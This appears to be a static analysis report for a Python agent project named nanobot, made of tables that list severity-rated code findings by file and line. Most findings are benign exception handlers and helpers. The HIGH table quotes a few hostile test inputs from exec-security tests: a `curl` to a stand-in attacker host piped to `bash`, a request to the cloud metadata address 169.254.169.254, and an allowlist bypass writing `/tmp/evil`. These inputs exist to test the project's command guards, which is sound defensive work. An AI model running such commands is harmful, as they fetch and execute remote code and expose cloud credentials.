| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/process_runtime.py | 3 | CODE | |
| LOW | nanobot/optional_features.py | 2 | CODE | |
| LOW | nanobot/events.py | 3 | CODE | |
| LOW | nanobot/runtime_context.py | 3 | CODE | |
| LOW | nanobot/__init__.py | 12 | CODE | |
| LOW | nanobot/__init__.py | 13 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 35 | CODE | |
| LOW | nanobot/__init__.py | 35 | CODE | |
| LOW | nanobot/build_info.py | 3 | CODE | |
| LOW | nanobot/pairing/store.py | 8 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/llm_usage/store.py | 3 | CODE | |
| 580 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 296 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 516 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 785 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 811 | except Exception as exc: | CODE |
| LOW | nanobot/events.py | 94 | except Exception: | CODE |
| LOW | nanobot/llm_usage/__init__.py | 59 | except Exception: | CODE |
| LOW | nanobot/llm_usage/__init__.py | 73 | except Exception: | CODE |
| LOW | nanobot/config/timezone.py | 17 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 102 | except Exception as e: | CODE |
| LOW | nanobot/security/network.py | 158 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 224 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 296 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 214 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 234 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 332 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_store.py | 400 | except Exception: | CODE |
| LOW | nanobot/triggers/local_runner.py | 103 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_runner.py | 186 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 559 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1415 | except Exception as exc: | CODE |
| LOW | nanobot/providers/image_generation.py | 1603 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1624 | except Exception: | CODE |
| LOW | nanobot/providers/transcription.py | 146 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 173 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 179 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 460 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 487 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 493 | except Exception as e: | CODE |
| LOW | nanobot/providers/github_copilot_oauth.py | 59 | except Exception as exc: | CODE |
| MEDIUM | nanobot/providers/github_copilot_oauth.py | 50 | def _run(self) -> None: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 134 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 224 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 753 | except Exception as e: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 824 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_codex_oauth.py | 141 | except Exception as exc: | CODE |
| LOW | nanobot/providers/openai_codex_oauth.py | 181 | except Exception: | CODE |
| MEDIUM | nanobot/providers/openai_codex_oauth.py | 132 | def _run(self) -> None: | CODE |
| LOW | nanobot/providers/xai_oauth.py | 228 | except Exception as exc: | CODE |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 610 | def aclose(self) -> None: | CODE |
| LOW⚡ | nanobot/providers/openai_compat_provider.py | 675 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 236 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 426 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1777 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1898 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1916 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1952 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 2047 | except Exception as e: | CODE |
| LOW | nanobot/providers/xai_grok_provider.py | 226 | except Exception as exc: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 75 | except Exception: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 314 | except Exception as e: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 344 | except Exception as e: | CODE |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 137 | def aclose(self) -> None: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 203 | except Exception as exc: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 260 | except Exception as e: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 570 | except Exception as exc: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 688 | except Exception as exc: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 713 | except Exception: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 150 | except Exception: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 770 | except Exception as e: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 883 | except Exception as e: | CODE |
| 492 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tui/scripts/pty_smoke.py | 140 | except ChildProcessError: | CODE |
| HIGH | nanobot/process_runtime.py | 426 | except OSError: | CODE |
| HIGH | nanobot/config/schema.py | 744 | except ImportError: | CODE |
| HIGH | nanobot/providers/image_generation.py | 559 | except Exception: | CODE |
| HIGH | nanobot/providers/image_generation.py | 1624 | except Exception: | CODE |
| HIGH | nanobot/providers/image_generation.py | 209 | except ValueError: | CODE |
| HIGH | nanobot/providers/openai_codex_oauth.py | 181 | except Exception: | CODE |
| HIGH | nanobot/providers/xai_grok_provider.py | 539 | except (TypeError, ValueError): | CODE |
| HIGH | nanobot/providers/azure_openai_provider.py | 75 | except Exception: | CODE |
| HIGH | nanobot/providers/openai_codex_provider.py | 657 | except ValueError: | CODE |
| HIGH | nanobot/providers/oauth_model_catalog.py | 46 | except ValueError: | CODE |
| HIGH | nanobot/utils/file_edit_events.py | 158 | except Exception: | CODE |
| HIGH | nanobot/utils/document.py | 694 | except (OSError, RuntimeError, TypeError, ValueError): | CODE |
| HIGH | nanobot/utils/helpers.py | 430 | except Exception: | CODE |
| HIGH | nanobot/utils/helpers.py | 819 | except Exception: | CODE |
| HIGH | nanobot/utils/helpers.py | 876 | except Exception: | CODE |
| HIGH | nanobot/agent/plugins.py | 298 | except OSError: | CODE |
| HIGH | nanobot/agent/tools/filesystem.py | 172 | except (OSError, RuntimeError): | CODE |
| HIGH | nanobot/agent/tools/shell.py | 77 | except (ProcessLookupError, ChildProcessError): | CODE |
| HIGH | nanobot/agent/tools/shell.py | 752 | except (ProcessLookupError, PermissionError): | CODE |
| HIGH | nanobot/agent/tools/sandbox.py | 34 | except ValueError: | CODE |
| HIGH | nanobot/agent/tools/mcp.py | 413 | except (UnicodeDecodeError, ValueError): | CODE |
| HIGH | nanobot/agent/tools/search.py | 342 | except OSError: | CODE |
| HIGH | nanobot/agent/tools/search.py | 490 | except OSError: | CODE |
| HIGH | nanobot/cli/gateway_runtime.py | 816 | except (asyncio.TimeoutError, ConnectionError): | CODE |
| HIGH | nanobot/cli/remote.py | 34 | except ValueError: | CODE |
| HIGH | nanobot/cli/webui_support.py | 106 | except OSError: | CODE |
| HIGH | nanobot/cli/tui_launcher.py | 393 | except OSError: | CODE |
| HIGH | nanobot/cli/windows_browser.py | 391 | except Exception: | CODE |
| HIGH | nanobot/cli/windows_browser.py | 69 | except OSError: | CODE |
| HIGH | nanobot/cli/windows_browser.py | 86 | except OSError: | CODE |
| HIGH | nanobot/cli/windows_browser.py | 351 | except OSError: | CODE |
| HIGH | nanobot/cli/windows_browser.py | 97 | except OSError: | CODE |
| HIGH | nanobot/cli/commands.py | 315 | except Exception: | CODE |
| HIGH | nanobot/sdk/streaming.py | 96 | except asyncio.CancelledError: | CODE |
| HIGH | nanobot/sdk/streaming.py | 98 | except Exception: | CODE |
| HIGH | nanobot/webui/remote_instances.py | 171 | except TimeoutError: | CODE |
| HIGH | nanobot/webui/session_list_index.py | 348 | except OSError: | CODE |
| HIGH | nanobot/webui/session_list_index.py | 411 | except OSError: | CODE |
| HIGH | nanobot/webui/session_list_index.py | 301 | except (TypeError, ValueError): | CODE |
| HIGH | nanobot/webui/transcript.py | 746 | except OSError: | CODE |
| HIGH | nanobot/webui/transcript.py | 2448 | except ValueError: | CODE |
| HIGH | nanobot/webui/transcript.py | 804 | except OSError: | CODE |
| HIGH | nanobot/webui/remote_ssh.py | 178 | except ProcessLookupError: | CODE |
| HIGH | nanobot/webui/remote_ssh.py | 185 | except ProcessLookupError: | CODE |
| HIGH | nanobot/webui/cli_apps_api.py | 33 | except Exception: | CODE |
| HIGH | nanobot/webui/dev.py | 49 | except subprocess.TimeoutExpired: | CODE |
| HIGH | nanobot/channels/manager.py | 914 | except (TypeError, ValueError): | CODE |
| HIGH | nanobot/channels/dingtalk/runtime.py | 58 | except ImportError: | CODE |
| HIGH | nanobot/channels/websocket/runtime.py | 708 | except TimeoutError: | CODE |
| HIGH | nanobot/channels/websocket/runtime.py | 1059 | except ConnectionClosed: | CODE |
| HIGH | nanobot/channels/websocket/runtime.py | 792 | except TimeoutError: | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 550 | except (TypeError, KeyError): | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 162 | except Exception: | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 168 | except Exception: | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 211 | except (TypeError, ValueError): | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 228 | except asyncio.CancelledError: | CODE |
| HIGH | nanobot/channels/napcat/runtime.py | 356 | except (TypeError, ValueError): | CODE |
| HIGH | nanobot/channels/feishu/runtime.py | 221 | except (json.JSONDecodeError, TypeError): | CODE |
| HIGH | nanobot/channels/feishu/tests/test_feishu_reply.py | 1138 | except RuntimeError: | CODE |
| 23 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | hatch_build.py | 5 | to remember `cd webui && bun run build` beforehand. | STRING |
| HIGH | hatch_build.py | 10 | development; webui contributors use `cd webui && bun run dev` (Vite HMR) and | STRING |
| HIGH | hatch_build.py | 57 | "(use `cd webui && bun run build` to bundle webui manually)" | CODE |
| HIGH | nanobot/web/__init__.py | 8 | can still use the Vite dev server at ``cd webui && bun run dev``. | STRING |
| HIGH | nanobot/agent/tools/shell.py | 593 | "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" | CODE |
| HIGH | nanobot/webui/build.py | 201 | "`cd webui && bun run build` manually" | CODE |
| HIGH | nanobot/webui/build.py | 252 | message = "Build WebUI now? This runs `cd webui && bun run build`." | CODE |
| HIGH⚡ | …bot/channels/websocket/tests/test_websocket_channel.py | 817 | ('{"content": null}', None), # null content | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 261 | '{"approved": {"telegram": null, "discord": ["456"]}, "pending": {}}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 274 | '{"approved": null, "pending": null}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 313 | '{"approved": {}, "pending": {"ABCD-EFGH": null}}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 325 | '"bad-expiry": {"channel": "telegram", "sender_id": "123", "expires_at": null},' | CODE |
| HIGH⚡ | tests/tools/test_exec_security.py | 171 | command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done" | CODE |
| HIGH | tests/tools/test_exec_security.py | 322 | 'rm test_print.txt 2>/dev/null; echo "done"', | CODE |
| HIGH | tests/tools/test_exec_security.py | 353 | command=f'rm {target} 2>/dev/null; echo "done"', | CODE |
| HIGH⚡ | tests/tools/test_seatbelt_native.py | 158 | f"mv {ancestor} shifted && printf changed > {shlex.quote(str(moved_sentinel))}", | CODE |
| HIGH⚡ | tests/tools/test_seatbelt_native.py | 174 | "mkdir tree/sibling && printf writable > tree/sibling/file && " | CODE |
| HIGH⚡ | tests/tools/test_seatbelt_native.py | 175 | "mv tree/sibling tree/renamed && rm tree/renamed/file && rmdir tree/renamed", | CODE |
| HIGH⚡ | tests/tools/test_exec_platform.py | 884 | result = await ExecTool(timeout=10).execute(command="echo before && echo after") | CODE |
| HIGH | tests/tools/test_exec_platform.py | 293 | assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in command | CODE |
| HIGH | tests/tools/test_exec_platform.py | 710 | cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp' | CODE |
| HIGH | tests/tools/test_exec_allow_patterns.py | 60 | "echo allowlisted && touch /tmp/evil", | CODE |
| HIGH⚡ | tests/tools/test_exec_allow_patterns.py | 151 | result = tool._guard_command("echo allowlisted && echo also_allowed", "/tmp") | CODE |
| HIGH | tests/tools/test_exec_env.py | 118 | '/tmp/bin && curl http://attacker.com/shell.sh | bash', | CODE |
| HIGH⚡ | tests/security/test_security_network.py | 398 | assert not contains_internal_url("echo hello && ls -la") | CODE |
| HIGH⚡ | tests/utils/test_workspace_violation_throttle.py | 33 | {"command": "cat /Users/x/Downloads/01.md && echo done"}, | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 52 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n' | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 127 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n' | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 57 | cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 64 | cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-on | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 71 | cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 78 | cmd = "cd ~/projects/nanobot/workspace && pytest tests/" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 100 | cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 266 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 272 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 279 | cmd = "cd /home/user/project && npm install && npm run build" | CODE |
| HIGH⚡ | tests/webui/test_remote_instances.py | 807 | @pytest.mark.parametrize("config", ["invalid JSON", "[]", '{"channels": null}', '{"channels": {"websocket": []}}']) | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tui/scripts/pty_smoke.py | 75 | CODE | |
| LOW | nanobot/process_runtime.py | 263 | CODE | |
| LOW | nanobot/optional_features.py | 536 | CODE | |
| LOW | nanobot/pairing/store.py | 316 | CODE | |
| LOW | nanobot/config/schema.py | 533 | CODE | |
| LOW | nanobot/triggers/local_store.py | 411 | CODE | |
| LOW | nanobot/providers/image_generation.py | 154 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1575 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1634 | CODE | |
| LOW | nanobot/providers/image_generation.py | 794 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 353 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 548 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 679 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1217 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1326 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1457 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1604 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1764 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1871 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1919 | CODE | |
| LOW | nanobot/providers/factory.py | 52 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 370 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 575 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 591 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 103 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 397 | CODE | |
| LOW | nanobot/providers/azure_openai_provider.py | 226 | CODE | |
| LOW | nanobot/providers/routing.py | 90 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 531 | CODE | |
| LOW | nanobot/providers/fallback_provider.py | 461 | CODE | |
| LOW | nanobot/providers/images.py | 33 | CODE | |
| LOW | nanobot/providers/images.py | 100 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 137 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 202 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 312 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 591 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 678 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 788 | CODE | |
| LOW | nanobot/providers/base.py | 834 | CODE | |
| LOW | nanobot/providers/base.py | 970 | CODE | |
| LOW | nanobot/providers/base.py | 1081 | CODE | |
| LOW | nanobot/providers/base.py | 1144 | CODE | |
| LOW | nanobot/providers/base.py | 1219 | CODE | |
| LOW | nanobot/providers/base.py | 1259 | CODE | |
| LOW | nanobot/providers/base.py | 1807 | CODE | |
| LOW | nanobot/providers/oauth_model_catalog.py | 116 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 94 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 376 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 591 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 615 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 15 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 77 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 103 | CODE | |
| LOW | nanobot/providers/openai_responses/websocket.py | 128 | CODE | |
| LOW | nanobot/utils/gitstore.py | 174 | CODE | |
| LOW | nanobot/utils/gitstore.py | 230 | CODE | |
| LOW | nanobot/utils/gitstore.py | 300 | CODE | |
| LOW | nanobot/utils/gitstore.py | 417 | CODE | |
| LOW | nanobot/utils/gitstore.py | 444 | CODE | |
| LOW | nanobot/utils/run_records.py | 37 | CODE | |
| 229 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 45 | __all__ = [ | CODE |
| LOW | nanobot/__init__.py | 96 | __all__ = [ | CODE |
| LOW | nanobot/pairing/__init__.py | 22 | __all__ = [ | CODE |
| LOW | nanobot/llm_usage/__init__.py | 78 | __all__ = [ | CODE |
| LOW | nanobot/config/home.py | 8 | def set_home_path(path: Path | None) -> None: | CODE |
| LOW | nanobot/config/__init__.py | 19 | __all__ = [ | CODE |
| LOW | nanobot/config/loader.py | 30 | def set_config_path(path: Path) -> None: | CODE |
| LOW | nanobot/triggers/__init__.py | 11 | __all__ = [ | CODE |
| LOW | nanobot/providers/__init__.py | 10 | __all__ = [ | CODE |
| LOW⚡ | nanobot/providers/fallback_provider.py | 175 | def set_fallback_model_observer(self, observer: FallbackModelObserver | None) -> None: | CODE |
| LOW⚡ | nanobot/providers/fallback_provider.py | 179 | def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None: | CODE |
| LOW | nanobot/providers/base.py | 729 | def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None: | CODE |
| LOW | nanobot/providers/openai_responses/__init__.py | 33 | __all__ = [ | CODE |
| LOW | nanobot/bus/__init__.py | 6 | __all__ = ["MessageBus", "InboundMessage", "OutboundMessage"] | CODE |
| LOW | nanobot/utils/__init__.py | 12 | __all__ = ["ensure_dir", "abbreviate_path"] | CODE |
| LOW | nanobot/agent/plugins.py | 249 | def set_agent_plugin_enabled(workspace: Path, name: str, enabled: bool) -> None: | CODE |
| LOW | nanobot/agent/subagent.py | 447 | def set_provider(self, provider: LLMProvider, model: str) -> None: | CODE |
| LOW | nanobot/agent/memory.py | 488 | def set_last_dream_cursor(self, cursor: int) -> None: | CODE |
| LOW | nanobot/agent/__init__.py | 17 | __all__ = [ | CODE |
| LOW⚡ | nanobot/agent/loop.py | 523 | def set_runtime_max_iterations(self, value: int) -> None: | CODE |
| LOW | nanobot/agent/loop.py | 2502 | def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None: | CODE |
| LOW | nanobot/agent/tools/mcp_oauth.py | 390 | async def set_tokens(self, tokens: OAuthToken) -> None: | CODE |
| LOW | nanobot/agent/tools/mcp_oauth.py | 417 | async def set_client_info(self, client_info: OAuthClientInformationFull) -> None: | CODE |
| LOW | nanobot/agent/tools/__init__.py | 17 | __all__ = [ | CODE |
| LOW | nanobot/agent/tools/message.py | 103 | def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None: | CODE |
| LOW | nanobot/agent/tools/_windows_job.py | 108 | def _set_kill_on_close(handle: int, enabled: bool) -> None: | CODE |
| LOW | nanobot/agent/tools/context.py | 51 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 518 | def _set_mcp_connection(self, session: ClientSession, server_name: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 523 | def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 97 | def set_max_iterations(self, value: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 101 | def set_provider_retry_mode(self, value: str) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 103 | def set_max_tool_result_chars(self, value: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 105 | def set_workspace_display(self, value: str) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 107 | def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 141 | def set_runtime_max_iterations(self, value: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 190 | def set_max_iterations(self, value: int) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 196 | def set_provider_retry_mode(self, value: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 199 | def set_max_tool_result_chars(self, value: int) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 202 | def set_workspace_display(self, value: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 206 | def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: | CODE |
| LOW | nanobot/agent/tools/loader.py | 172 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW | nanobot/agent/hooks/__init__.py | 8 | __all__ = [ | CODE |
| LOW | nanobot/cli/gateway_runtime.py | 51 | __all__ = ["_run_gateway"] | CODE |
| LOW⚡ | nanobot/cli/onboard.py | 1598 | def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None: | CODE |
| LOW | nanobot/cli/runtime_config.py | 13 | __all__ = [ | CODE |
| LOW | nanobot/cli/terminal.py | 34 | __all__ = [ | CODE |
| LOW | nanobot/cli/webui_support.py | 37 | __all__ = [ | CODE |
| LOW | nanobot/cli/process_identity.py | 13 | def _set_process_title(title: str) -> None: | CODE |
| LOW | nanobot/cli/process_identity.py | 22 | def set_cli_process_identity(args: list[str]) -> None: | CODE |
| LOW | nanobot/cli/log_control.py | 5 | __all__ = ["_set_nanobot_logs"] | CODE |
| LOW | nanobot/cli/log_control.py | 8 | def _set_nanobot_logs(enabled: bool) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 289 | def set_search_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 295 | def set_fetch_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 359 | def update_api_settings(config: Config, query: QueryParams) -> None: | CODE |
| LOW | nanobot/webui/mcp_presets_runtime.py | 5 | __all__ = ["session_extra"] | CODE |
| LOW | nanobot/webui/remote_pair_server.py | 137 | def _update_keys(path: Path, *, add: str = "", remove: str = "") -> None: | STRING |
| LOW | nanobot/webui/version_check.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | nanobot/command/__init__.py | 6 | __all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"] | CODE |
| LOW | nanobot/apps/__init__.py | 5 | __all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"] | CODE |
| LOW | nanobot/apps/cli/__init__.py | 9 | __all__ = [ | CODE |
| 36 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 144 | CODE | |
| LOW | nanobot/nanobot.py | 205 | CODE | |
| LOW | nanobot/nanobot.py | 310 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 55 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 756 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 487 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1919 | CODE | |
| LOW | nanobot/providers/github_copilot_provider.py | 317 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 255 | CODE | |
| LOW | nanobot/providers/azure_openai_provider.py | 317 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 321 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 423 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 92 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 788 | CODE | |
| LOW | nanobot/providers/base.py | 1317 | CODE | |
| LOW | nanobot/providers/base.py | 1462 | CODE | |
| LOW | nanobot/providers/base.py | 1531 | CODE | |
| LOW | nanobot/agent/subagent.py | 208 | CODE | |
| LOW | nanobot/agent/subagent.py | 566 | CODE | |
| LOW | nanobot/agent/subagent.py | 593 | CODE | |
| LOW | nanobot/agent/loop.py | 260 | CODE | |
| LOW | nanobot/agent/loop.py | 980 | CODE | |
| LOW | nanobot/agent/loop.py | 1737 | CODE | |
| LOW | nanobot/agent/loop.py | 2517 | CODE | |
| LOW | nanobot/agent/tools/filesystem.py | 47 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 195 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 274 | CODE | |
| LOW | nanobot/agent/tools/search.py | 400 | CODE | |
| LOW | nanobot/agent/tools/search.py | 649 | CODE | |
| LOW | nanobot/cli/gateway_runtime.py | 345 | CODE | |
| LOW | nanobot/cli/gateway.py | 342 | CODE | |
| LOW | nanobot/cli/webui.py | 74 | CODE | |
| LOW | nanobot/cli/agent.py | 54 | CODE | |
| LOW | nanobot/webui/gateway_services.py | 58 | CODE | |
| LOW | nanobot/webui/ws_http.py | 354 | CODE | |
| LOW | nanobot/webui/transcript.py | 2495 | CODE | |
| LOW | nanobot/webui/dev.py | 124 | CODE | |
| LOW | nanobot/cron/service.py | 750 | CODE | |
| LOW | nanobot/channels/manager.py | 94 | CODE | |
| LOW | …channels/websocket/tests/test_websocket_http_routes.py | 71 | CODE | |
| LOW | …channels/websocket/tests/test_websocket_http_routes.py | 111 | CODE | |
